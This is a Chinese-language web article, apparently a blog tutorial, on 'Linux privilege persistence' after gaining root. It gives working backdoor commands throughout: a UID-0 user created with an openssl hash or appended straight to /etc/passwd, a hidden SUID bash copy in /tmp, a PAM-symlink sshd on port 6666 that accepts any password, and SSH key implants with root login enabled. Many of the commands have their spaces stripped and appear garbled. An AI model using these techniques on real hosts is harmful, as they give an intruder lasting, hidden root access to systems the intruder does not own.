ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

linux权限维持

linux权限维持

方法一.特权账号
原理就是在系统添加一个root账号
Linux的账号信息在/etc/passwd文件里面并且所有人可访问,但是密码在/etc/shadow文件里面只有root可访问。

/etc/passwd 字段格式
格式:用户名:密码占位符x:UID:GID:注释信息:家目录:登录Shell

UID(User ID,用户 ID)
作用:Linux 内核识别用户的数字编号,用户名只是给人看的,系统真正认 UID。
root 的 UID=0:唯一超级用户,拥有系统全部权限。
1‑999:系统内置账号(daemon、bin 等),给后台服务使用,一般不允许登录。
≥1000:普通新建用户。
GID(Group ID,组 ID)
作用:用户所属主用户组的数字 ID。
创建用户时默认会生成一个同名组,GID 对应这个组。
多个用户可以属于同一个组,用来控制文件 / 目录的组权限(rwx 组权限位)。


格式:用户名:加密密码:最后一次改密码日期:最小间隔:最大间隔:警告天数:过期宽限:失效日期:保留

注:加密密码字段
!:账号被锁定,禁止密码登录
*:系统账号,无有效密码,禁止登录
$6$xxxx:SHA‑512 加密的真实密码哈希
最后改密码的天数:从 1970‑01‑01 算起的天数

我们添加用户直接用useradd命令
正常添加用户 useradd 用户名 就行
但是添加后的用户没有密码需要passwd命令手动设置,但是shell一般无法做交互式的事情所以不能成功执行passwd,所以无法ssh,这时候就要用到-p参数。-p参数后面要加加密后的密码
加密后的密码用openssl命令生成

注:`里面的字符会被当做命令执行

opensslpasswd-1-salt'salt'123456

-1:使用 MD5‑crypt 算法加密(shadow 里旧版1哈希)
-salt ‘salt’:手动指定盐值为字符串salt,123456是待加密明文密码
盐 (salt) 核心作用

防止彩虹表破解
如果没有盐,相同密码123456永远输出同一个哈希,攻击者提前算好彩虹表直接查表爆破。
加盐之后,同样密码,不同盐,得到完全不一样的哈希
盐会写入加密的密码前面

接下来我们就可以以这个命令生成一个特权用户,但是要在root权限生成。

# 创建一个用户名guest,密码123456的root用户useradd-p`opensslpasswd-1-salt'salt'123456`guest-o-u0-groot-Groot-s/bin/bash-d/home/test

或者另一种方法直接把构造好的这个东西直接追加到passwd文件中,这样就不用管shadow文件了
test:$1$test$XazGnbtBRMhBkmTPV1qav/:0:0::/root:/bin/bash

二.SUID权限维持

SUID 介绍
SUID 是一种特殊权限,设置了 suid 的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是 root,那么执行该程序的用户就将暂时获得 root 账户的权限。sgid 与 suid 类似,只是执行程序时获得的是文件属组的权限。

注意以下几点:
1.只有可以执行的二进制程序文件才能设定 SUID 权限,非二进制文件设置 SUID 权限没任何意义。
2.命令执行者要对该程序文件拥有执行 (x) 权限。
3.命令执行者在执行该程序时获得该程序文件属主的身份。
4.SUID 权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效。

第一步首先要找到bash文件

whereisbash


找到bash文件后复制一份出来

cp/usr/bin/bash /tmp/.bash

然后给加上s权限

chmod+s /tmp/.bash 或chmod4755/tmp/.bash

接下来就可以使用这个bash以root身份运行

/tmp/.bash-p

注意:有的系统默认tmp是会忽略所有带s的参数以防suid攻击,可以把后门放在其他目录例如home
可以使用mount命令查看
例如里面tmp目录就有nosuid,所有不能再这个目录使用这个维持方法

三.pam软链接维权

注意:
1.可复现万能密码(PAM 劫持生效):OpenSSH ≤9.3p1

2.而且如果时centos系统需要修改/etc/selinux/config文件中的SELINUX=“” 为 disabled

3.如果依旧失败,记得查看防火墙是不是开了

ssh-V

软链接:
一种特殊文件,相当于快捷方式,里面保存另一个文件的路径。访问软链接就等价访问源文件;执行软链接时,系统拿到的启动文件名是链接自身名字,而非源程序。源文件删除后软链接失效。

PAM:
Linux 的统一认证框架,负责登录、权限校验。
程序运行时,根据调用的程序文件名加载 /etc/pam.d/ 下同名配置文件,调用各类认证模块。
pam_rootok.so是其中模块:进程为 root 用户时直接认证通过,跳过密码验证。

1.我们通过建立一个ssh的后门

首先需要看一下ssh是否使用pam模块验证(默认支持)

ls/etc/pam.d

然后看一下ssh是否启用了pam

cat/etc/ssh/sshd_config|grep"UsePAM "

2.看一下哪些模块支持pam_rootok.so

find/etc/pam.d|xargsgrep"pam_rootok.so"#xargs命令是把管道前面的每行结果当参数给xargs后面的命令

3.例如上面的chsh支持pam_rootok.so模块

ln-sf/usr/sbin/sshd /tmp/chsh;/tmp/chsh-oPort=6666

注意:这里解释一下,ln -sf /usr/sbin/sshd /tmp/chsh这行命令就是创建一个叫chsh的快捷方式而不是把chsh复制过去。
因为pam在运行时会依据文件名来选择同名配置文件。使用叫chsh的文件名pam就会调用他的配置文件,而chsh的配置文件支持pam_rootok.so模块。
即只要以root身份去ssh那么建立进程的用户就是root,而pam_rootok.so模块检测到root就直接验证成功不需要再验证密码了,所以会直接成功登录。

4.此时后门就建立了

sshroot@192.168.85.135-p6666

密码验证时,无论输入什么都成功(不能直接回车,必须随便输入点什么)

四.利用公私钥实现ssh维权

1.步骤1:在本地生成SSH密钥对
在主机A上,打开终端,输入以下命令:

ssh-keygen-trsa

在提示输入密钥密码时直接回车

2.修改ssh配置文件

vim/etc/ssh/sshd_config

这三个权限一定要打开,很多设置默认是注释掉的,需要去掉注释打开权限

PubkeyAuthentication yes // 授权公钥登录
AuthorizedKeysFile .ssh/authorized_keys // 授权文件路径
PasswordAuthentication yes // 密码授权
PermitRootLogin yes /允许root进行ssh登录

3.把公钥放到被控主机
执行命令放入

ssh-copy-id username@server_ip

或者进入/root/.ssh手动放入公钥
放入后必须改名为authorized_keys

4.放入后就可以ssh了

**
**

返回列表